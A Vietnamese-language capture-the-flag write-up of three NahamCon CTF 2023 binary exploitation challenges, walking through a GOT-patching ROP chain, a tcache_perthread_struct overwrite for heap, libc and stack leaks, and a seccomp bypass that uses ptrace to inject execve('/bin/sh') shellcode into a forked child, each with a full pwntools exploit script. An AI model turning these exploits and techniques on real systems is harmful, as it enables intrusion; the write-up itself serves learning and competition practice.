Write up PWN Nahamcon CTF 2023

image

2 ngày tryhard cùng team m1cr0$oft 0ff1c3

image

Giải năm nay có 7 bài pwn, dưới đây là write up 3 bài All Patched Up, Web Applicaton FirewallLimitations

All Patched Up

Attachment:

all_patched_up
libc-2.31.so

image

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[512]; // [rsp+0h] [rbp-200h] BYREF

write(1, &unk_402004, 2uLL);
read(0, buf, 0x400uLL);
return 0;
}

Một bài ROP đơn giản, tuy nhiên không có gadget nào để control $rsi và $rdx để leak libc bằng write(1,func@got,8):

image

image

Tuy bài này vẫn còn sử dụng được kĩ thuật ret2csu nhưng mình thấy có gadget add dword ptr [rbp - 0x3d], ebx ; nop ; ret :

image

Để ý RELRO của binary là Partial RELRO nên ta có thể thay đổi read@got hoặc write@got trỏ tới system bằng phép cộng tuyến tính của gadget đó thay vì cần leak libc ra.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from time import sleep

context.binary = e = ELF("./all_patched_up_patched")
libc = ELF("./libc.so.6")
gs="""
b *0x00000000004011ED
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
cus = 0x00000000040124A
p.sendlineafter("> ",b"\0"*520+
p64(cus)+
p64(0xfffd5b3e)+ # ebx
p64(e.got.read+0x3d)+ # rbp
p64(0)*4+
p64(0x40115c) + #add DWORD PTR [rbp-0x3d],ebx ; ret
p64(e.plt.read)
)
p.interactive()

Web Applicaton Firewall

Attachment:
waf
libc-2.27.so

Từ hàm add_config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall add_config(__int64 a1)
{
const char *v1; // rbx
char v3; // [rsp+1Bh] [rbp-35h] BYREF
int n; // [rsp+1Ch] [rbp-34h]
char s[24]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-18h]

v6 = __readfsqword(0x28u);
printf("What is the id of the config?: ");
fgets(s, 16, stdin);
*(_DWORD *)a1 = atoi(s);
memset(s, 0, 0x10uLL);
printf("What is the size of the setting?: ");
fgets(s, 16, stdin);
n = atoi(s);
*(_QWORD *)(a1 + 8) = malloc(n);
printf("What is the setting to be added?: ");
fgets(*(char **)(a1 + 8), n, stdin);
v1 = *(const char **)(a1 + 8);
v1[strcspn(v1, "\r\n")] = 0;
printf("Should this setting be active? [y/n]: ");
__isoc99_scanf(" %c", &v3);
getchar();
*(_BYTE *)(a1 + 16) = v3 == 121;
puts("\nConfig added.\n");
return __readfsqword(0x28u) ^ v6;
}

Mình recover được struct mà nó sẽ deploy lên heap:

1
2
3
4
5
struct FireWall{
int id;
char* setting;
bool active;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
printf("What is the id of the config?: ");
fgets(s, 16, stdin);
a1->id = atoi(s);
memset(s, 0, 0x10uLL);
printf("What is the size of the setting?: ");
fgets(s, 16, stdin);
n = atoi(s);
a1->setting = (char *)malloc(n);
printf("What is the setting to be added?: ");
fgets(a1->setting, n, stdin);
setting = a1->setting;
setting[strcspn(setting, "\r\n")] = 0;
printf("Should this setting be active? [y/n]: ");
__isoc99_scanf(" %c", &v3);
getchar();
a1->active = v3 == 121;
puts("\nConfig added.\n");

Bug: out of bond

Ta thấy ở case 4 cho ta free FireWall cuối cùng nhưng có thể truy cậy lại FireWall đó khi để idx = count ở case 2 và case 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
case 2:
printf("What is the index of the config to edit?: ");
fgets(s, 8, stdin);
v8 = atoi(s);
if ( v8 < 0 || v8 > count )
goto LABEL_9;
edit_config(ptr, (unsigned int)v8);
goto LABEL_23;
case 3:
printf("What is the index of the config to print?: ");
fgets(s, 8, stdin);
idx = atoi(s);
if ( idx < 0 || idx > count )
LABEL_9:
puts("Invalid index.");
else
print_config(ptr, (unsigned int)idx);
goto LABEL_23;
case 4:
if ( count )
{
free(ptr[count - 1]->setting);
free(ptr[count - 1]);
puts("Last config removed.");
--count;
}

Bây giờ mình thử tạo 2 FireWall rồi free cái cuối cùng để xem trên heap sẽ có gì

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def add(id_: int,size: int,setting: bytes, active: bool = True):
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"What is the id of the config?: ",f"{id_}".encode())
p.sendlineafter(b"What is the size of the setting?: ",f"{size}".encode())
p.sendlineafter(b"What is the setting to be added?: ",setting)
p.recvuntil(b"Should this setting be active? [y/n]: ")
p.sendline(b"y") if active else p.sendline(b"n")
def edit(idx: int,id_: int,size: int,setting: bytes, active: bool = True):
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"What is the index of the config to edit?:",f"{idx}".encode())
p.sendlineafter(b"What is the new ID?: ",f"{id_}".encode())
p.sendlineafter(b"What is the new size of the setting?: ",f"{size}".encode())
if size:
p.sendlineafter(b"What is the new setting?: ",setting)
p.recvuntil(b"Should this be active? [y/n]: ")
p.sendline(b"y") if active else p.sendline(b"n")
def view(idx: int):
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b'What is the index of the config to print?: ',f"{idx}".encode())
add(0,0x250-8,b"A"*8)
add(1,0x250-8,b"B"*8)
p.sendline(b"4")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> vis 

0x2082000 0x0000000000000000 0x0000000000000251 ........Q.......
0x2082010 0x0000000000000001 0x0000000000000000 ................
0x2082020 0x0000000000000000 0x0000000000000000 ................
.........
0x2082220 0x0000000000000000 0x0000000000000000 ................
0x2082230 0x0000000000000000 0x0000000000000000 ................
0x2082240 0x0000000000000000 0x0000000000000000 ................
0x2082250 0x0000000000000000 0x0000000000000021 ........!.......
0x2082260 0x0000000000000000 0x0000000002082280 ........."......
0x2082270 0x0000000000000001 0x0000000000000251 ........Q.......
0x2082280 0x4141414141414141 0x0000000000000000 AAAAAAAA........
0x2082290 0x0000000000000000 0x0000000000000000 ................
.........
0x2082490 0x0000000000000000 0x0000000000000000 ................
0x20824a0 0x0000000000000000 0x0000000000000000 ................
0x20824b0 0x0000000000000000 0x0000000000000000 ................
0x20824c0 0x0000000000000000 0x0000000000000021 ........!.......
0x20824d0 0x0000000000000000 0x0000000002082010 ......... ...... <-- tcachebins[0x20][0/1]
0x20824e0 0x0000000000000001 0x0000000000000251 ........Q.......
0x20824f0 0x0000000000000000 0x0000000002082010 ......... ...... <-- tcachebins[0x250][0/1]
0x2082500 0x0000000000000000 0x0000000000000000 ................
.........
0x2082700 0x0000000000000000 0x0000000000000000 ................
0x2082710 0x0000000000000000 0x0000000000000000 ................
0x2082720 0x0000000000000000 0x0000000000000000 ................
0x2082730 0x0000000000000000 0x00000000000208d1 ................ <-- Top chunk

FireWall 1 ở địa chỉ 0x20824d0, ta thấy ở libc này, key của tcachebin[0] = địa chỉ của tcache_perthread_struct

Khi ta cố truy cập FireWall 1 lúc này, khi đó FireWall.setting = địa chỉ của tcache_perthread_struct từ đó ta có thể ghi đè luôn tcache_perthread_struct

Hàm print_config gọi hàm printf để in ra:

1
2
3
4
5
6
7
8
int __fastcall print_config(FireWall **list, int idx)
{
putchar(10);
printf("ID: %d\n", (unsigned int)list[idx]->id);
printf("Setting: %s\n", list[idx]->setting);
printf("Is active: %d\n", list[idx]->active);
return putchar(10);
}

Thật khó để leak heap vì hàm add_config cũng sử dụng hàm fgets để nhận, luôn có null bytes ở sau T_T.

Sau một hồi suy nghĩ thì mình suy ra được một cách là
fill up tcache_perthread_struct.counts với byte 7 ( để nó không thêm chunk nào mới vào và vì ở version libc này kiểu của counts vẫn là char ), nhưng mình cũng sẽ để counts[0]=0, khi mình add FireWall 1 rồi free nó 1 lần nữa thì :

  • counts[0]=1tcache_entry *entries[0] = FireWall 1
  • Lúc này FireWall1.setting = tcache_perthread_struct, khi gọi hàm print_config ra, do counts đã được fill up với các byte khác NULL nên entries[0] cũng sẽ được in ra luôn -> từ đó ta leak được heap.
1
2
3
4
5
6
7
8
add(1,0x250-8,b"B"*8)
p.sendline(b"4")
view(1)
p.recvuntil(b"Setting: " )
p.recv(0x40)
heap = u32(p.recv(4))
chunk0 = heap - 0x4e0
log.success(f"heap leak: {hex(heap)}")

image

image

Có được heap rồi, mình muốn malloc FireWall 1 sao cho setiing của nó sẽ trùng với FireWall 0

1
2
3
4
hold = heap - 0x240
add(1,0x250-8,p64(0)*2+p64(chunk0))
p.sendline(b"4")
edit(1,0,0x250-8,p8(2)+p8(7)*34+p8(8)+p8(7)*(64-36)+p64(hold))

Đơn giả là chỉ cần ghi đè counts[0]=2entries[0] là chunk có chứa địa chỉ của FireWall 0.

Khi đó add(1,0x18,...) sẽ có FireWall 1.setting = FireWall 0.

Leak libc, stack:

1
2
3
4
5
6
7
8
9
10
11
12
add(1,0x18,p64(0x1337)+p64(e.got.free))
view(0)
p.recvuntil(b"Setting: ")
libc.address = u64(p.recv(6)+b"\0\0") - libc.sym.free
log.success(f"libc @ {hex(libc.address)}")

edit(1,1,0x18,p64(0x1337)+p64(libc.sym.environ))
view(0)
p.recvuntil(b"Setting: ")
stack = u64(p.recv(6)+b"\0\0")
log.success(f"stack: {hex(stack)}")
ret_addr = stack-0x230

Do hàm edit_config sử dụng realloc nên ta không thể ghi đè FireWall 0.setting là địa chỉ stack rồi sửa được.

1
2
3
4
5
6
7
8
unsigned __int64 __fastcall edit_config(FireWall **a1, int idx)
{
...
v3->setting = (char *)realloc(v3->setting, n);
printf("What is the new setting?: ");
fgets(a1[idx]->setting, n, stdin);
...
}

Ta lại sửa tcahe entry thành địa chỉ stack từ đó hàm add_config sẽ cho ta ghi đè stack.

1
2
3
4
5
add(2,0x258,b"2"*8)
p.sendline(b"4")
edit(2,0,0x250-8,p8(0)+p8(1)+p8(0)*33+p8(0)+p8(0)*(64-36)+p64(0)+p64(ret_addr-8))
add(2,0x28,p64(0)+p64(libc.address+0x4f302))
p.interactive()

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from time import sleep

context.binary = e = ELF("./waf_patched")
libc = ELF("./libc.so.6")
gs="""
# b *0x0000000000400CF4
# b *0x0000000000400C6B
# b *0x0000000000400FD8
# b *0x0000000000401262
b *0x0000000000400D9E
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
def add(id_: int,size: int,setting: bytes, active: bool = True):
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"What is the id of the config?: ",f"{id_}".encode())
p.sendlineafter(b"What is the size of the setting?: ",f"{size}".encode())
p.sendlineafter(b"What is the setting to be added?: ",setting)
p.recvuntil(b"Should this setting be active? [y/n]: ")
p.sendline(b"y") if active else p.sendline(b"n")
def edit(idx: int,id_: int,size: int,setting: bytes, active: bool = True):
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"What is the index of the config to edit?:",f"{idx}".encode())
p.sendlineafter(b"What is the new ID?: ",f"{id_}".encode())
p.sendlineafter(b"What is the new size of the setting?: ",f"{size}".encode())
if size:
p.sendlineafter(b"What is the new setting?: ",setting)
p.recvuntil(b"Should this be active? [y/n]: ")
p.sendline(b"y") if active else p.sendline(b"n")
def view(idx: int):
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b'What is the index of the config to print?: ',f"{idx}".encode())
add(0,0x250-8,b"A"*8)
add(1,0x250-8,b"B"*8)
p.sendline(b"4")
log.info("1");pause()
edit(1,0,0x250-8,p8(0)+p8(7)*34+p8(8)+p8(7)*(64-36)+p64(0))

add(1,0x250-8,b"B"*8)
p.sendline(b"4")
view(1)
p.recvuntil(b"Setting: " )
p.recv(0x40)
heap = u32(p.recv(4))
chunk0 = heap - 0x4e0
log.success(f"heap leak: {hex(heap)}")

log.info("2");pause()
#edit(1,0,0x250-8,p8(0)+p8(7)*34+p8(8)+p8(7)*(64-36)+p64(chunk0))
hold = heap - 0x240
add(1,0x250-8,p64(0)*2+p64(chunk0))
p.sendline(b"4")
edit(1,0,0x250-8,p8(2)+p8(7)*34+p8(8)+p8(7)*(64-36)+p64(hold))

add(1,0x18,p64(0x1337)+p64(e.got.free))
view(0)
p.recvuntil(b"Setting: ")
libc.address = u64(p.recv(6)+b"\0\0") - libc.sym.free
log.success(f"libc @ {hex(libc.address)}")

edit(1,1,0x18,p64(0x1337)+p64(libc.sym.environ))
view(0)
p.recvuntil(b"Setting: ")
stack = u64(p.recv(6)+b"\0\0")
log.success(f"stack: {hex(stack)}")
ret_addr = stack-0x230

add(2,0x258,b"2"*8)
p.sendline(b"4")
edit(2,0,0x250-8,p8(0)+p8(1)+p8(0)*33+p8(0)+p8(0)*(64-36)+p64(0)+p64(ret_addr-8))
add(2,0x28,p64(0)+p64(libc.address+0x4f302))
p.interactive()

Limitations

Attachment:
limited_resources

Cá nhân mình thấy đây là bài hay nhất trong giải này, no house of shit brr.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int main(){
...
Setup();
pid = fork();
if ( pid )
{
while ( 1 )
{
puts("Enter the command you want to do:");
menu();
memset(cmd_str, 0, sizeof(cmd_str));
cmd = 0;
fgets(cmd_str, 11, stdin);
__isoc99_sscanf(cmd_str, "%d", &cmd);
if ( cmd == 4 )
break;
if ( cmd <= 4 )
{
switch ( cmd )
{
case 3:
puts("Where do you want to execute code?");
__isoc99_scanf("%lx", &location);
ProtectProgram();
func_ptr = (void (*)(...))location;
((void (*)(void))location)();
goto fail;
case 1:
puts("How big do you want your memory to be?");
fgets(memory_size_str, 11, stdin);
__isoc99_sscanf(memory_size_str, "%lu", &memory_size);
puts("What permissions would you like for the memory?");
fgets(test_buffer, 11, stdin);
__isoc99_sscanf(test_buffer, "%d", &permissions);
fflush(stdin);
shellcode = (char *)CreateMemory(memory_size, permissions);
puts("What do you want to include?");
fgets(shellcode, memory_size, stdin);
printf("Wrote your buffer at %p\n", shellcode);
free(buffer);
buffer = 0LL;
break;
case 2:
puts("Debug information:");
printf("Child PID = %d\n", (unsigned int)pid);
break;
}
}
}
}
}

Chương trình gọi fork trước khi bắt đầu vào flow của user.
Ở trong flow của user ta thấy chương trình cho phép allocate shellcode ở trên một địa chỉ rồi cho phép ta thực thi shellcode đó, nhưng trước khi thực hiện lại load seccomp vào.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __cdecl ProtectProgram()
{
...

ctx = (scmp_filter_ctx)seccomp_init(0LL);
ret = seccomp_rule_add(ctx, 2147418112LL, 4LL, 0LL);
reta = seccomp_rule_add(ctx, 2147418112LL, 5LL, 0LL) | ret;
...
rets = seccomp_rule_add(ctx, 2147418112LL, 231LL, 0LL) | retr;
if ( (unsigned int)seccomp_load(ctx) | rets )
{
perror("seccomp");
exit(1);
}
seccomp_release(ctx);
}

Kiểm tra những syscall được phép:

image

Oh no, không có open, read, write thì sao đọc flag T_T.

Tuy nhiên để ý kĩ thì chương trình có cho leak pid của process con ra trước khi ta muốn chạy shellcode:

1
2
3
4
case 2:
puts("Debug information:");
printf("Child PID = %d\n", (unsigned int)pid);
break;

Seccomp filter có cho phép hàm ptrace, ta biết được pid của process con, chưa kể process con được fork ra trước khi load seccomp vào …

Thế là sau một hồi loay hoay, mình nghĩ đến việc sử dụng hàm ptrace để ghi đè memory và $rip của process con.

image

Để ý nữa thì chương trình NO PIE, vậy thì mình sẽ thử ghi đè ở trong _text segment của process con là một đoạn shellcode rồi sửa $rip của nó trỏ tới đó.

Ý tưởng cho shellcode sẽ là:

1
2
3
4
5
6
7
ptrace(PTRACE_ATTACH,child_pid,0,0); // attach
ptrace(PTRACE_POKEDATA,child_pid,_start,shellcode_sh); // một vòng lặp sửa dần bytecode của hàm _start thành shellcode gọi shell ra
ptrace(PTRACE_POKEDATA,child_pid,sleep@got,_start);
ptrace(PTRACE_GETREGS,child_pid,0,$rsp+0x100); // dump struct user_reg ra stack*
*(int64_t *)($rsp+0x100+16*8) = sleep@plt ; // sửa $rip = sleep@plt
ptrace(PTRACE_SETREGS,child_pid,0,$rsp+0x100); // commit
ptrace(PTRACE_DETACH,child_pid,0,0); // detach

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
from pwn import *
from time import sleep

context.binary = e = ELF("./limited_resources")

gs="""
set follow-fork-mode parent
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
def create(size: int,perm: int,code: bytes):
p.sendline(b"1")
p.sendlineafter(b"How big do you want your memory to be?\n",f"{size}".encode())
p.sendlineafter(b"What permissions would you like for the memory?\n",f"{perm}".encode())
p.sendlineafter(b"What do you want to include?\n",code)
p.recvuntil(b"Wrote your buffer at 0x")
return int(p.recvuntil(b"\n"),16)
def exec_(addr: int):
p.sendline(b"3")
p.sendlineafter(b"Where do you want to execute code?\n",f"{hex(addr)[2:]}".encode())
def get_pid():
p.sendline(b"2")
p.recvuntil(b"Child PID = ")
return int(p.recvline())
PTRACE_TRACEME = 0
PTRACE_SEIZE = 0x4206
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_POKEDATA = 5
PTRACE_GETSIGINFO = 0x4202
PTRACE_SETSIGINFO = 0x4203
child_pid = get_pid()
log.success(f"{child_pid}")
shellcode = asm(f"""
mov rcx,0xff00
l:
nop
loop l
parent:
mov rdi, {PTRACE_ATTACH}
mov rsi, {child_pid}
mov rdx,0
mov r10,0
mov rax,0x65
syscall

mov rcx,0xff00
l1:
nop
loop l1

mov rdi, {PTRACE_GETREGS}
mov rsi, {child_pid}
mov rdx, 0
mov r10, rsp
mov rax,0x65
syscall
mov rcx,0xff00
l2:
nop
loop l2


""")
def modify(addr: int,value: int):
return asm(f"""
mov r8,{addr}
mov rdi, {PTRACE_POKEDATA}
mov rsi, {child_pid}
lea rdx,[r8]
mov r10, {value}
mov rax,0x65
syscall

mov rcx,0xff00
l:
nop
loop l

add rdx,2
mov r10, {value >> 2*8}
mov rax,0x65
syscall

mov rcx,0xff00
l1:
nop
loop l1

add rdx,2
mov r10, {value >> 4*8}
mov rax,0x65
syscall

mov rcx,0xff00
l2:
nop
loop l2

add rdx,2
mov r10, {value >> 6*8}
mov rax,0x65
syscall

mov rcx,0xff00
l3:
nop
loop l3
""")

child_shellcode = asm("""
xor esi,esi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
xor edx,edx
mov eax,59
syscall
""")
child_shellcode += b"\x90"*(8 - len(child_shellcode) % 8)

for i in range(len(child_shellcode) // 8):
shellcode += modify(e.sym._start+8*i,u64(child_shellcode[8*i:8*(i+1)]))

shellcode += modify(e.got.sleep,e.sym._start)
shellcode += asm(f"""
mov rdi, {PTRACE_GETREGS}
mov rsi, {child_pid}
mov rdx, 0
lea r10, [rsp+0x100]
mov rax,0x65
syscall

mov rcx,0xff00
l2:
nop
loop l2

mov rdi,{PTRACE_GETSIGINFO}
mov rsi,{child_pid}
mov rdx,0
mov r10,rsp
mov rax,0x65
syscall

mov rcx,0xff00
l3:
nop
loop l3

mov qword ptr [rsp],19
mov rdi,{PTRACE_SETSIGINFO}
mov rsi,{child_pid}
mov rdx,0
mov r10,rsp
mov rax,0x65
syscall

mov rcx,0xff00
l4:
nop
loop l4

mov qword ptr [rsp+0x100+16*8],{e.sym.sleep+2}
mov qword ptr [rsp+0x100+18*8],0
mov rdi, {PTRACE_SETREGS}
mov rsi, {child_pid}
mov rdx, 0
lea r10, [rsp+0x100]
mov rax,0x65
syscall

mov rcx,0xff00
l1:
nop
loop l1
mov rdi, {PTRACE_DETACH}
mov rsi, {child_pid}
mov rdx,0
mov r10,0
mov rax,0x65
syscall
l:
nop
jmp l
""")
code_ = create(len(shellcode)+8,7,shellcode)
log.success(f"{hex(code_)}")
sleep(2)
exec_(code_)
sleep(5)
p.interactive()

Ở đây trước khi commit PTRACE_SETREGS cho process con, mình gửi signal stop cho chắc ăn.

Nếu để ý bạn sẽ thấy mình ghi đè $rip = sleep@plt + 2 thay vì sleep@plt , mình sẽ không đi sâu giải thích ( gợi ý là sleep@plt + 4 thì mới có opcode jmp tới got và độ dài opcode của syscall là 2 bytes ).

image